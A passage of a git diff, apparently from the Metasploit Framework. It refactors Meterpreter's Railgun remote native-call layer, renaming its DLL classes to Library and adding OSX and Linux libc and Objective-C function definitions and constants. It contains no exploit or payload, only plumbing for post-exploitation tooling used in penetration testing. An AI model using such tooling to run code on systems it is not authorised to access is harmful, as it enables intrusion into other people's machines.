const_mgr.add_const('SOL_TIPC', 0x0000010f) + const_mgr.add_const('SOL_RXRPC', 0x00000110) + const_mgr.add_const('SOL_PPPOL2TP', 0x00000111) + const_mgr.add_const('SOL_BLUETOOTH', 0x00000112) + const_mgr.add_const('SOL_PNPIPE', 0x00000113) + const_mgr.add_const('SOL_RDS', 0x00000114) + const_mgr.add_const('SOL_IUCV', 0x00000115) + const_mgr.add_const('SOL_CAIF', 0x00000116) + const_mgr.add_const('SOL_ALG', 0x00000117) + const_mgr.add_const('SOL_NFC', 0x00000118) + const_mgr.add_const('SOL_KCM', 0x00000119) end end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/linux/def_libc.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/linux/def_libc.rb index f82713bfee..78976481de 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/linux/def_libc.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/linux/def_libc.rb @@ -7,12 +7,12 @@ module Stdapi module Railgun module Def -class Def_libc +class Def_linux_libc - def self.create_dll(constant_manager, dll_path = 'libc.so.6') - dll = DLL.new(dll_path, constant_manager) + def self.create_library(constant_manager, library_path = 'libc.so.6') + lib = Library.new(library_path, constant_manager) - dll.add_function( + lib.add_function( 'calloc', 'LPVOID', [ @@ -22,7 +22,7 @@ class Def_libc nil, 'cdecl' ) - dll.add_function( + lib.add_function( 'free', 'VOID', [ @@ -31,14 +31,14 @@ class Def_libc nil, 'cdecl', ) - dll.add_function( + lib.add_function( 'getpid', 'DWORD', [], nil, 'cdecl' ) - dll.add_function( + lib.add_function( 'inet_ntop', 'LPVOID', [ @@ -50,7 +50,7 @@ class Def_libc nil, 'cdecl' ) - dll.add_function( + lib.add_function( 'inet_pton', 'DWORD', [ @@ -61,14 +61,14 @@ class Def_libc nil, 'cdecl' ) - dll.add_function( + lib.add_function( 'malloc', 'LPVOID', [['SIZE_T', 'size', 'in']], nil, 'cdecl' ) - dll.add_function( + lib.add_function( 'memfrob', 'LPVOID', [ @@ -78,7 +78,7 @@ class Def_libc nil, 'cdecl' ) - dll.add_function( + lib.add_function( 'mmap', 'LPVOID', [ @@ -92,7 +92,7 @@ class Def_libc nil, 'cdecl' ) - dll.add_function( + lib.add_function( 'mprotect', 'DWORD', [ @@ -103,7 +103,7 @@ class Def_libc nil, 'cdecl' ) - dll.add_function( + lib.add_function( 'munmap', 'DWORD', [ @@ -113,7 +113,17 @@ class Def_libc nil, 'cdecl' ) - return dll + lib.add_function( + 'strcat', + 'LPVOID', + [ + ['PCHAR', 'to', 'inout'], + ['PCHAR', 'from', 'in'] + ], + nil, + 'cdecl' + ) + return lib end end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/osx/api_constants.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/osx/api_constants.rb new file mode 100644 index 0000000000..18de955b83 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/osx/api_constants.rb @@ -0,0 +1,52 @@ +# -*- coding: binary -*- +require 'rex/post/meterpreter/extensions/stdapi/railgun/const_manager' + +module Rex +module Post +module Meterpreter +module Extensions +module Stdapi +module Railgun +module Def + +# +# A container holding useful OSX API Constants. +# +class DefApiConstants_osx < ApiConstants + + # + # Slurp in a giant list of known constants. + # + def self.add_constants(const_mgr) + # https://opensource.apple.com/source/xnu/xnu-2050.18.24/bsd/sys/socket.h + const_mgr.add_const('AF_UNSPEC', 0x00000000) + const_mgr.add_const('AF_LOCAL', 0x00000001) + const_mgr.add_const('AF_UNIX', 0x00000001) + const_mgr.add_const('AF_INET', 0x00000002) + const_mgr.add_const('AF_INET6', 0x0000001e) + + # https://opensource.apple.com/source/xnu/xnu-2050.18.24/bsd/sys/mman.h + const_mgr.add_const('MAP_FILE', 0x0000) + const_mgr.add_const('MAP_SHARED', 0x0001) + const_mgr.add_const('MAP_PRIVATE', 0x0002) + const_mgr.add_const('MAP_FIXED', 0x0010) + const_mgr.add_const('MAP_ANON', 0x1000) + const_mgr.add_const('MAP_ANONYMOUS', 0x1000) + const_mgr.add_const('PROT_NONE', 0x0000) + const_mgr.add_const('PROT_READ', 0x0001) + const_mgr.add_const('PROT_WRITE', 0x0002) + const_mgr.add_const('PROT_EXEC', 0x0004) + + # https://opensource.apple.com/source/dyld/dyld-95.3/include/dlfcn.h + const_mgr.add_const('RTLD_LAZY', 0x0001) + const_mgr.add_const('RTLD_NOW', 0x0002) + const_mgr.add_const('RTLD_LOCAL', 0x0004) + const_mgr.add_const('RTLD_GLOBAL', 0x0008) + const_mgr.add_const('RTLD_NOLOAD', 0x0010) + const_mgr.add_const('RTLD_NODELETE', 0x0080) + const_mgr.add_const('RTLD_FIRST', 0x0100) # Mac OS X 10.5 and later + + end +end + +end; end; end; end; end; end; end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/osx/def_libc.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/osx/def_libc.rb new file mode 100644 index 0000000000..24993a77db --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/osx/def_libc.rb @@ -0,0 +1,140 @@ +# -*- coding: binary -*- +module Rex +module Post +module Meterpreter +module Extensions +module Stdapi +module Railgun +module Def + +class Def_osx_libc + + def self.create_library(constant_manager, library_path = 'libc.dylib') + lib = Library.new(library_path, constant_manager) + + lib.add_function( + 'calloc', + 'LPVOID', + [ + ['SIZE_T', 'nmemb', 'in'], + ['SIZE_T', 'size', 'in'] + ], + nil, + 'cdecl' + ) + lib.add_function( + 'dlclose', + 'DWORD', + [ + ['LPVOID', 'handle', 'in'] + ], + nil, + 'cdecl' + ) + lib.add_function( + 'dlopen', + 'LPVOID', + [ + ['PCHAR', 'filename', 'in'], + ['DWORD', 'flags', 'in'] + ], + nil, + 'cdecl' + ) + lib.add_function( + 'free', + 'VOID', + [ + ['LPVOID', 'ptr', 'in'] + ], + nil, + 'cdecl', + ) + lib.add_function( + 'getpid', + 'DWORD', + [], + nil, + 'cdecl' + ) + lib.add_function( + 'inet_ntop', + 'LPVOID', + [ + ['DWORD', 'af', 'in'], + ['PBLOB', 'src', 'in'], + ['PBLOB', 'dst', 'out'], + ['DWORD', 'size', 'in'] + ], + nil, + 'cdecl' + ) + lib.add_function( + 'inet_pton', + 'DWORD', + [ + ['DWORD', 'af', 'in'], + ['PBLOB', 'src', 'in'], + ['PBLOB', 'dst', 'out'] + ], + nil, + 'cdecl' + ) + lib.add_function( + 'malloc', + 'LPVOID', + [['SIZE_T', 'size', 'in']], + nil, + 'cdecl' + ) + lib.add_function( + 'mmap', + 'LPVOID', + [ + ['LPVOID', 'addr', 'in'], + ['SIZE_T', 'length', 'in'], + ['DWORD', 'prot', 'in'], + ['DWORD', 'flags', 'in'], + ['DWORD', 'fd', 'in'], + ['SIZE_T', 'offset', 'in'] + ], + nil, + 'cdecl' + ) + lib.add_function( + 'mprotect', + 'DWORD', + [ + ['LPVOID', 'addr', 'in'], + ['SIZE_T', 'length', 'in'], + ['DWORD', 'prot', 'in'] + ], + nil, + 'cdecl' + ) + lib.add_function( + 'munmap', + 'DWORD', + [ + ['LPVOID', 'addr', 'in'], + ['SIZE_T', 'length', 'in'] + ], + nil, + 'cdecl' + ) + lib.add_function( + 'strcat', + 'LPVOID', + [ + ['PCHAR', 'to', 'inout'], + ['PCHAR', 'from', 'in'] + ], + nil, + 'cdecl' + ) + return lib + end + +end + +end; end; end; end; end; end; end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/osx/def_libobjc.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/osx/def_libobjc.rb new file mode 100644 index 0000000000..8596512ca9 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/osx/def_libobjc.rb @@ -0,0 +1,54 @@ +# -*- coding: binary -*- +module Rex +module Post +module Meterpreter +module Extensions +module Stdapi +module Railgun +module Def + +class Def_osx_libobjc + + def self.create_library(constant_manager, library_path = 'libobjc.dylib') + lib = Library.new(library_path, constant_manager) + + # https://developer.apple.com/documentation/objectivec/1418952-objc_getclass?language=objc + lib.add_function( + 'objc_getClass', + 'LPVOID', + [ + ['PCHAR', 'name', 'in'] + ], + nil, + 'cdecl' + ) + + # https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend?language=objc + lib.add_function( + 'objc_msgSend', + 'LPVOID', + [ + ['LPVOID', 'self', 'in'], + ['LPVOID', 'op', 'in'] + ], + nil, + 'cdecl' + ) + + # https://developer.apple.com/documentation/objectivec/1418557-sel_registername?language=objc + lib.add_function( + 'sel_registerName', + 'LPVOID', + [ + ['PCHAR', 'str', 'in'] + ], + nil, + 'cdecl' + ) + + return lib + end + +end + +end; end; end; end; end; end; end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_advapi32.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_advapi32.rb index 9f64a4f311..2e89977bf0 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_advapi32.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_advapi32.rb @@ -7,7 +7,7 @@ module Stdapi module Railgun module Def -class Def_advapi32 +class Def_windows_advapi32 CREDENTIAL = [ [:Flags, :DWORD], @@ -24,8 +24,8 @@ class Def_advapi32 [:UserName, :LPTSTR] ] - def self.create_dll(constant_manager, dll_path = 'advapi32') - dll = DLL.new(dll_path, constant_manager) + def self.create_library(constant_manager, library_path = 'advapi32') + dll = Library.new(library_path, constant_manager) dll.add_function('QueryServiceStatus', 'DWORD', [ ['LPVOID', 'hService', 'in'], diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_crypt32.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_crypt32.rb index b27b154aae..b36ca6e6b7 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_crypt32.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_crypt32.rb @@ -7,10 +7,10 @@ module Stdapi module Railgun module Def -class Def_crypt32 +class Def_windows_crypt32 - def self.create_dll(constant_manager, dll_path = 'crypt32') - dll = DLL.new(dll_path, constant_manager) + def self.create_library(constant_manager, library_path = 'crypt32') + dll = Library.new(library_path, constant_manager) dll.add_function('CryptUnprotectData', 'BOOL', [ ['PBLOB','pDataIn', 'in'], diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_iphlpapi.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_iphlpapi.rb index 5c94c8dc97..003bd75647 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_iphlpapi.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_iphlpapi.rb @@ -7,10 +7,10 @@ module Stdapi module Railgun module Def -class Def_iphlpapi +class Def_windows_iphlpapi - def self.create_dll(constant_manager, dll_path = 'iphlpapi') - dll = DLL.new(dll_path, constant_manager) + def self.create_library(constant_manager, library_path = 'iphlpapi') + dll = Library.new(library_path, constant_manager) dll.add_function('CancelIPChangeNotify', 'BOOL',[ ["PBLOB","notifyOverlapped","in"], diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_kernel32.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_kernel32.rb index da6690ac8b..714574cf0e 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_kernel32.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_kernel32.rb @@ -7,10 +7,10 @@ module Stdapi module Railgun module Def -class Def_kernel32 +class Def_windows_kernel32 - def self.create_dll(constant_manager, dll_path = 'kernel32') - dll = DLL.new(dll_path, constant_manager) + def self.create_library(constant_manager, library_path = 'kernel32') + dll = Library.new(library_path, constant_manager) dll.add_function( 'GetConsoleWindow', 'LPVOID',[]) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_netapi32.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_netapi32.rb index 5c4d090794..6c3f356fb2 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_netapi32.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_netapi32.rb @@ -7,10 +7,10 @@ module Stdapi module Railgun module Def -class Def_netapi32 +class Def_windows_netapi32 - def self.create_dll(constant_manager, dll_path = 'netapi32') - dll = DLL.new(dll_path, constant_manager) + def self.create_library(constant_manager, library_path = 'netapi32') + dll = Library.new(library_path, constant_manager) dll.add_function('NetApiBufferFree','DWORD',[ ["LPVOID","Buffer","in"] diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_ntdll.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_ntdll.rb index ba3f4338a8..cb9dc0fe3c 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_ntdll.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_ntdll.rb @@ -7,10 +7,10 @@ module Stdapi module Railgun module Def -class Def_ntdll +class Def_windows_ntdll - def self.create_dll(constant_manager, dll_path = 'ntdll') - dll = DLL.new(dll_path, constant_manager) + def self.create_library(constant_manager, library_path = 'ntdll') + dll = Library.new(library_path, constant_manager) dll.add_function('NtAllocateVirtualMemory', 'DWORD',[ ["DWORD","ProcessHandle","in"], diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_psapi.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_psapi.rb index 9b8697a4a9..2978ecff67 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_psapi.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_psapi.rb @@ -7,10 +7,10 @@ module Stdapi module Railgun module Def -class Def_psapi +class Def_windows_psapi - def self.create_dll(constant_manager, dll_path = 'psapi') - dll = DLL.new(dll_path, constant_manager) + def self.create_library(constant_manager, library_path = 'psapi') + dll = Library.new(library_path, constant_manager) dll.add_function('EnumDeviceDrivers', 'BOOL',[ %w(PBLOB lpImageBase out), diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_shell32.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_shell32.rb index 14c052728c..c33a38278f 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_shell32.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_shell32.rb @@ -7,10 +7,10 @@ module Stdapi module Railgun module Def -class Def_shell32 +class Def_windows_shell32 - def self.create_dll(constant_manager, dll_path = 'shell32') - dll = DLL.new(dll_path, constant_manager) + def self.create_library(constant_manager, library_path = 'shell32') + dll = Library.new(library_path, constant_manager) dll.add_function('IsUserAnAdmin', 'BOOL', [ ]) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_user32.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_user32.rb index 872aa45496..4a4c7e58d8 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_user32.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_user32.rb @@ -7,10 +7,10 @@ module Stdapi module Railgun module Def -class Def_user32 +class Def_windows_user32 - def self.create_dll(constant_manager, dll_path = 'user32') - dll = DLL.new(dll_path, constant_manager) + def self.create_library(constant_manager, library_path = 'user32') + dll = Library.new(library_path, constant_manager) dll.add_function('ActivateKeyboardLayout', 'DWORD',[ ["DWORD","hkl","in"], diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_version.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_version.rb index 347ce1f09f..201d05f4d4 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_version.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_version.rb @@ -7,10 +7,10 @@ module Stdapi module Railgun module Def -class Def_version +class Def_windows_version - def self.create_dll(constant_manager, dll_path = 'version') - dll = DLL.new(dll_path, constant_manager) + def self.create_library(constant_manager, library_path = 'version') + dll = Library.new(library_path, constant_manager) dll.add_function('GetFileVersionInfoA', 'BOOL',[ ["PCHAR","lptstrFilename","in"], diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_wlanapi.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_wlanapi.rb index c7d1fb9c1b..2aafed6abc 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_wlanapi.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_wlanapi.rb @@ -7,10 +7,10 @@ module Stdapi module Railgun module Def -class Def_wlanapi +class Def_windows_wlanapi - def self.create_dll(constant_manager, dll_path = 'wlanapi') - dll = DLL.new(dll_path, constant_manager) + def self.create_library(constant_manager, library_path = 'wlanapi') + dll = Library.new(library_path, constant_manager) dll.add_function( 'WlanOpenHandle', 'DWORD',[ diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_wldap32.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_wldap32.rb index 6fdecde1a6..14419c55a4 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_wldap32.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_wldap32.rb @@ -7,10 +7,10 @@ module Stdapi module Railgun module Def -class Def_wldap32 +class Def_windows_wldap32 - def self.create_dll(constant_manager, dll_path = 'wldap32') - dll = DLL.new(dll_path, constant_manager) + def self.create_library(constant_manager, library_path = 'wldap32') + dll = Library.new(library_path, constant_manager) dll.add_function('ldap_sslinitA', 'DWORD',[ ['PCHAR', 'HostName', 'in'], diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_ws2_32.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_ws2_32.rb index 28e0b95813..4322505991 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_ws2_32.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_ws2_32.rb @@ -7,10 +7,10 @@ module Stdapi module Railgun module Def -class Def_ws2_32 +class Def_windows_ws2_32 - def self.create_dll(constant_manager, dll_path = 'ws2_32') - dll = DLL.new(dll_path, constant_manager) + def self.create_library(constant_manager, library_path = 'ws2_32') + dll = Library.new(library_path, constant_manager) dll.add_function('getaddrinfo', 'DWORD',[ ["PCHAR","pNodeName","in"], diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/library.rb similarity index 82% rename from lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb rename to lib/rex/post/meterpreter/extensions/stdapi/railgun/library.rb index eb464e1d65..71a502e772 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/library.rb @@ -23,8 +23,8 @@ # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -require 'rex/post/meterpreter/extensions/stdapi/railgun/dll_helper' -require 'rex/post/meterpreter/extensions/stdapi/railgun/dll_function' +require 'rex/post/meterpreter/extensions/stdapi/railgun/library_function' +require 'rex/post/meterpreter/extensions/stdapi/railgun/library_helper' require 'rex/post/meterpreter/extensions/stdapi/railgun/buffer_item' require 'rex/post/meterpreter/extensions/stdapi/railgun/tlv' require 'rex/post/meterpreter/packet' @@ -37,19 +37,19 @@ module Stdapi module Railgun # -# Represents a DLL, e.g. kernel32.dll +# Represents a library, e.g. kernel32.dll # -class DLL +class Library - include DLLHelper + include LibraryHelper attr_accessor :functions - attr_reader :dll_path + attr_reader :library_path - def initialize(dll_path, consts_mgr) - @dll_path = dll_path + def initialize(library_path, consts_mgr) + @library_path = library_path - # needed by DLLHelper + # needed by LibraryHelper @consts_mgr = consts_mgr self.functions = {} @@ -64,28 +64,30 @@ class DLL end # - # Perform a function call in this DLL on the remote system. + # Perform a function call in this library on the remote system. # # Returns a Hash containing the return value, the result of GetLastError(), # and any +inout+ parameters. # - # Raises an exception if +func_symbol+ is not a known function in this DLL, + # Raises an exception if +function+ is not a known function in this library, # i.e., it hasn't been defined in a Def. # - def call_function(func_symbol, args, client) - func_name = func_symbol.to_s + def call_function(function, args, client) + unless function.instance_of? LibraryFunction + func_name = function.to_s - unless known_function_names.include? func_name - raise "DLL-function #{func_name} not found. Known functions: #{PP.pp(known_function_names, '')}" + unless known_function_names.include? func_name + raise "Library-function #{func_name} not found. Known functions: #{PP.pp(known_function_names, '')}" + end + + function = get_function(func_name) end - function = get_function(func_name) - return process_function_call(function, args, client) end # - # Define a function for this DLL. + # Define a function for this library. # # Every function argument is described by a tuple (type,name,direction) # @@ -107,11 +109,11 @@ class DLL # When the new function is called it will return a list containing the # return value and all inout params. See #call_function. # - def add_function(name, return_type, params, remote_name=nil, calling_conv="stdcall") + def add_function(name, return_type, params, remote_name=nil, calling_conv='stdcall') if remote_name == nil remote_name = name end - @functions[name] = DLLFunction.new(return_type, params, remote_name, calling_conv) + @functions[name] = LibraryFunction.new(return_type, params, remote_name, calling_conv) end private @@ -146,12 +148,12 @@ class DLL end # we care only about out-only buffers - if param_desc[2] == "out" + if param_desc[2] == 'out' if !args[param_idx].kind_of? Integer raise "error in param #{param_desc[1]}: Out-only buffers must be described by a number indicating their size in bytes" end buffer_size = args[param_idx] - if param_desc[0] == "PDWORD" + if param_desc[0] == 'PDWORD' # bump up the size for an x64 pointer if native == 'Q<' && buffer_size == 4 args[param_idx] = 8 @@ -174,11 +176,11 @@ class DLL end end - tmp = assemble_buffer("in", function, args) + tmp = assemble_buffer('in', function, args) in_only_layout = tmp[0] in_only_buffer = tmp[1] - tmp = assemble_buffer("inout", function, args) + tmp = assemble_buffer('inout', function, args) inout_layout = tmp[0] inout_buffer = tmp[1] @@ -197,41 +199,41 @@ class DLL #puts " processing (#{param_desc[0]}, #{param_desc[1]}, #{param_desc[2]})" buffer = nil # is it a pointer to a buffer on our stack - if ["PDWORD", "PWCHAR", "PCHAR", "PBLOB"].include? param_desc[0] - #puts " pointer" + if ['PDWORD', 'PWCHAR', 'PCHAR', 'PBLOB'].include? param_desc[0] + #puts ' pointer' if args[param_idx] == nil # null pointer? - buffer = [0].pack(native) # type: DWORD (so the dll does not rebase it) + buffer = [0].pack(native) # type: DWORD (so the library does not rebase it) buffer += [0].pack(native) # value: 0 - elsif param_desc[2] == "in" + elsif param_desc[2] == 'in' buffer = [1].pack(native) buffer += [in_only_layout[param_desc[1]].addr].pack(native) - elsif param_desc[2] == "out" + elsif param_desc[2] == 'out' buffer = [2].pack(native) buffer += [out_only_layout[param_desc[1]].addr].pack(native) - elsif param_desc[2] == "inout" + elsif param_desc[2] == 'inout' buffer = [3].pack(native) buffer += [inout_layout[param_desc[1]].addr].pack(native) else - raise "unexpected direction" + raise 'unexpected direction' end else #puts " not a pointer" # it's not a pointer (LPVOID is a pointer but is not backed by railgun memory, ala PBLOB) buffer = [0].pack(native) case param_desc[0] - when "LPVOID", "HANDLE", "SIZE_T" + when 'LPVOID', 'HANDLE', 'SIZE_T' num = param_to_number(args[param_idx]) buffer += [num].pack(native) - when "DWORD" + when 'DWORD' num = param_to_number(args[param_idx]) buffer += [num % 4294967296].pack(native) - when "WORD" + when 'WORD' num = param_to_number(args[param_idx]) buffer += [num % 65536].pack(native) - when "BYTE" + when 'BYTE' num = param_to_number(args[param_idx]) buffer += [num % 256].pack(native) - when "BOOL" + when 'BOOL' case args[param_idx] when true buffer += [1].pack(native) @@ -259,7 +261,7 @@ class DLL request.add_tlv(TLV_TYPE_RAILGUN_BUFFERBLOB_IN, in_only_buffer) request.add_tlv(TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT, inout_buffer) - request.add_tlv(TLV_TYPE_RAILGUN_DLLNAME, @dll_path) + request.add_tlv(TLV_TYPE_RAILGUN_LIBNAME, @library_path) request.add_tlv(TLV_TYPE_RAILGUN_FUNCNAME, function.remote_name) request.add_tlv(TLV_TYPE_RAILGUN_CALLCONV, function.calling_conv) @@ -285,28 +287,28 @@ class DLL # The hash the function returns return_hash = { - "GetLastError" => rec_last_error, - "ErrorMessage" => rec_err_msg + 'GetLastError' => rec_last_error, + 'ErrorMessage' => rec_err_msg } #process return value case function.return_type - when "LPVOID", "HANDLE" + when 'LPVOID', 'HANDLE' if( native == 'Q<' ) - return_hash["return"] = rec_return_value + return_hash['return'] = rec_return_value else - return_hash["return"] = rec_return_value % 4294967296 + return_hash['return'] = rec_return_value % 4294967296 end - when "DWORD" - return_hash["return"] = rec_return_value % 4294967296 - when "WORD" - return_hash["return"] = rec_return_value % 65536 - when "BYTE" - return_hash["return"] = rec_return_value % 256 - when "BOOL" - return_hash["return"] = (rec_return_value != 0) - when "VOID" - return_hash["return"] = nil + when 'DWORD' + return_hash['return'] = rec_return_value % 4294967296 + when 'WORD' + return_hash['return'] = rec_return_value % 65536 + when 'BYTE' + return_hash['return'] = rec_return_value % 256 + when 'BOOL' + return_hash['return'] = (rec_return_value != 0) + when 'VOID' + return_hash['return'] = nil else raise "unexpected return type: #{function.return_type}" end @@ -321,16 +323,16 @@ class DLL #puts " #{param_name}" buffer = rec_out_only_buffers[buffer_item.addr, buffer_item.length_in_bytes] case buffer_item.datatype - when "PDWORD" + when 'PDWORD' # PDWORD is treated as a POINTER return_hash[param_name] = buffer.unpack(native).first # If PDWORD is treated correctly as a DWORD return_hash[param_name] = buffer.unpack('V').first if return_hash[param_name].nil? - when "PCHAR" + when 'PCHAR' return_hash[param_name] = asciiz_to_str(buffer) - when "PWCHAR" + when 'PWCHAR' return_hash[param_name] = uniz_to_str(buffer) - when "PBLOB" + when 'PBLOB' return_hash[param_name] = buffer else raise "unexpected type in out-only buffer of #{param_name}: #{buffer_item.datatype}" @@ -344,16 +346,16 @@ class DLL #puts " #{param_name}" buffer = rec_inout_buffers[buffer_item.addr, buffer_item.length_in_bytes] case buffer_item.datatype - when "PDWORD" + when 'PDWORD' # PDWORD is treated as a POINTER return_hash[param_name] = buffer.unpack(native).first # If PDWORD is treated correctly as a DWORD return_hash[param_name] = buffer.unpack('V').first if return_hash[param_name].nil? - when "PCHAR" + when 'PCHAR' return_hash[param_name] = asciiz_to_str(buffer) - when "PWCHAR" + when 'PWCHAR' return_hash[param_name] = uniz_to_str(buffer) - when "PBLOB" + when 'PBLOB' return_hash[param_name] = buffer else raise "unexpected type in in-out-buffer of #{param_name}: #{buffer_item.datatype}" @@ -369,14 +371,14 @@ class DLL # :name => '#{function.remote_name}', # :params => #{function.params}, # :return_type => '#{function.return_type}', -# :dll_name => '#{@dll_path}', +# :library_name => '#{@library_path}', # :ruby_args => #{args.inspect}, # :request_to_client => { # TLV_TYPE_RAILGUN_SIZE_OUT => #{out_only_size_bytes}, # TLV_TYPE_RAILGUN_STACKBLOB => #{literal_pairs_blob.inspect}, # TLV_TYPE_RAILGUN_BUFFERBLOB_IN => #{in_only_buffer.inspect}, # TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT => #{inout_buffer.inspect}, -# TLV_TYPE_RAILGUN_DLLNAME => '#{@dll_path}', +# TLV_TYPE_RAILGUN_LIBNAME => '#{@library_path}', # TLV_TYPE_RAILGUN_FUNCNAME => '#{function.remote_name}', # }, # :response_from_client => { diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_function.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/library_function.rb similarity index 85% rename from lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_function.rb rename to lib/rex/post/meterpreter/extensions/stdapi/railgun/library_function.rb index 9b5827f909..ecff313b08 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_function.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/library_function.rb @@ -33,29 +33,29 @@ module Railgun # # represents one function, e.g. MessageBoxW # -class DLLFunction +class LibraryFunction @@allowed_datatypes = { - "VOID" => ["return"], - "BOOL" => ["in", "return"], - "DWORD" => ["in", "return"], - "WORD" => ["in", "return"], - "BYTE" => ["in", "return"], - "LPVOID" => ["in", "return"], # sf: for specifying a memory address (e.g. VirtualAlloc/HeapAlloc/...) where we don't want to back it up with actual mem ala PBLOB - "HANDLE" => ["in", "return"], - "SIZE_T" => ["in", "return"], - "PDWORD" => ["in", "out", "inout"], # todo: support for functions that return pointers to strings - "PWCHAR" => ["in", "out", "inout"], - "PCHAR" => ["in", "out", "inout"], - "PBLOB" => ["in", "out", "inout"], + 'VOID' => ['return'], + 'BOOL' => ['in', 'return'], + 'DWORD' => ['in', 'return'], + 'WORD' => ['in', 'return'], + 'BYTE' => ['in', 'return'], + 'LPVOID' => ['in', 'return'], # sf: for specifying a memory address (e.g. VirtualAlloc/HeapAlloc/...) where we don't want to back it up with actual mem ala PBLOB + 'HANDLE' => ['in', 'return'], + 'SIZE_T' => ['in', 'return'], + 'PDWORD' => ['in', 'out', 'inout'], # todo: support for functions that return pointers to strings + 'PWCHAR' => ['in', 'out', 'inout'], + 'PCHAR' => ['in', 'out', 'inout'], + 'PBLOB' => ['in', 'out', 'inout'], }.freeze - @@allowed_convs = ["stdcall", "cdecl"] + @@allowed_convs = ['stdcall', 